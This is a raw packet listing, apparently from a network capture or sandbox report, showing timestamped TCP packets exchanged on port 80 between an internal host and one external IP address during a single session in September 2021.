Sep 7, 2021 16:02:57.378978014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379132032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379152060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379169941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379188061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379206896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379225969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379244089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379262924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379281044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379301071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379319906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379337072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379355907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.379373074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380007029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380037069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380062103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380079985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380098104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380218983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380240917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380260944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380280018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380283117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380306959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380319118 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380330086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380347967 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380353928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380381107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380405903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380418062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380430937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380451918 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380454063 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380477905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380497932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380501032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380523920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380544901 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380544901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380572081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380589008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380594969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380618095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380640030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380657911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.380661964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.380675077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.390563011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.390595913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.390619040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.390644073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.390661955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.390695095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.398663998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.398703098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.398726940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.398787975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.398811102 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.416734934 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.419540882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.419567108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.419653893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.419663906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.419676065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.419698954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.419720888 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.419723034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.419779062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.419812918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.424132109 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.429088116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.429114103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.429137945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.429157972 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.429194927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.429267883 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.429295063 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.429317951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.429361105 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.435717106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.435946941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.435950041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.435972929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.436028004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.436544895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.436578035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.436649084 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443150043 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443180084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443234921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443255901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443260908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443278074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443303108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443326950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443347931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443350077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443373919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443396091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443399906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443424940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443437099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443447113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443489075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443686962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443713903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443737984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443761110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443769932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443789005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443814039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443831921 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443835974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443861961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443871975 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.443883896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.443902969 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444109917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444137096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444161892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444191933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444216013 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444390059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444417953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444442034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444466114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444489956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444498062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444511890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444535017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444544077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444561958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444569111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444583893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444608927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444633007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444643974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444654942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444658041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444675922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444698095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444720030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444727898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444741011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444762945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.444775105 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.444798946 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.449312925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449343920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449366093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449384928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449408054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449414968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.449429035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449450016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449466944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.449472904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449501038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.449506998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449522972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449561119 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.449606895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449626923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449645996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449654102 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.449667931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.449693918 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.451911926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.451935053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.451955080 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.451975107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.452004910 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.452029943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.452042103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.452054024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.452076912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.452095985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.452107906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.452142000 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.459144115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.459177017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.459198952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.459223986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.459248066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.459255934 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.459270954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.459306955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.465408087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.465435982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.465460062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.465487003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.465503931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.465528965 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.486102104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.486181974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.486183882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.486207008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.486229897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.486251116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.486273050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.486274004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.486311913 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.490083933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.490190983 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.493499994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.493535995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.493558884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.493578911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.493599892 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.493617058 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.493690968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.501190901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.501235962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.501256943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.501279116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.501298904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.501303911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.501322985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.501346111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.509404898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509433031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509478092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.509646893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509671926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509717941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.509733915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509759903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509783983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509803057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509808064 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.509820938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509869099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.509912968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.509958029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.509990931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510052919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510072947 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510078907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510126114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510147095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510149956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510196924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510258913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510314941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510319948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510343075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510343075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510365963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510386944 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510404110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510410070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510436058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510457993 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510459900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510488987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510488987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510529995 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510560989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510585070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510608912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510627985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510647058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510663033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510679007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510694027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510715961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510736942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510757923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510778904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510802031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510828972 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.510842085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510870934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.510896921 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.515669107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515700102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515721083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515744925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515764952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515788078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515818119 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.515850067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.515885115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515907049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515925884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515945911 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.515945911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.515985012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.517688990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.517724037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.517745972 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.517766953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.517843008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.517862082 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.518273115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518304110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518361092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.518384933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518409967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518435955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.518459082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518481970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518507957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.518531084 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.518558979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.518587112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.524643898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.524667978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.524688959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.524708033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.524710894 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.524733067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.524755955 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.524787903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.525203943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.530009985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.530036926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.530056953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.530081034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.530090094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.530144930 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.551820993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.551857948 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.551881075 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.551903009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.551922083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.551922083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.551947117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:57.551970005 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:57.555702925 CEST	80	49763	5.188.88.63	192.168.2.4
